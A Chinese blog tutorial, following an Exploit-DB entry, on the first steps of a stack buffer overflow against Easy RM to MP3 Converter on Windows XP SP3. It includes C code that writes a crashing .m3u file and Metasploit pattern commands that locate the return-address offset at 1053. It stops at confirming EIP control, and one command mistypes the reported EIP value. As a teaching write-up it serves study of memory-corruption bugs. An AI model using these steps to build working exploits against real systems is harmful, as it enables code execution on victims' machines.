声明:本博客是根据Exploit该链接所写
准备工作
- 实验环境:windows xp windows xp sp3
- 下载easyRmtomp3.exe,下载地址:https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe
使程序crash
- 编写一个程序生成10000个字符,可以使程序crash,程序如图所示
- crash的程序如下图所示:
但没有出现崩溃,可见改程序采取了保护措施,将A的数量增加,增加到20000时,也不会崩溃,当增加到30000时,程序崩溃。如图所示:
会出现地址指针EIP指向0x41414141地址,由于找不到改地址所以该程序会发生崩溃。
栈信息介绍
栈的信息如下图所示:
确定return的地址偏移
- 构造buffer字符串,生成25000个’A’和5000个’B’时,观察EIP的数值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int main()
{
FILE* fp = NULL;
fp = fopen("crash2.m3u","w+");
int i = 0;
if(fp == NULL)
return;
for(i;i < 25000; i++)
{
fprintf(fp,"\x41");
}
for(i = 0; i < 5000; i++)
{
fprintf(fp, "\x42");
}
}
调试结果如图所示:
可以知道EIP为0x42424242,所以return地址偏移在25000和30000之间
- 测试eip的offset具体在什么位置
利用metasploit的工具测试具体在什么位置,具体如下:cd metasplot-framework/tools
./pattern_create.rb 5000 > mima.txt 生成5000大小的字符串并输出到mima.txt文件
构建前25000个为A,后5000个位mima.txt为内容的.m3u文件,如图所示:
得到的eip结果如下图所示:
可知eip的值为0x42316A42
然后利用metasploit工具找到具体是什么位置,命令如下:.pattern_offset.rb 0x423116A42 5000,得到结果为1053
测试一下1053是否正确,编写如下程序:
运行测试一下,结果如下图:
可以看到eip指向的是0x42424242,所以找到的return的地址偏移是正确的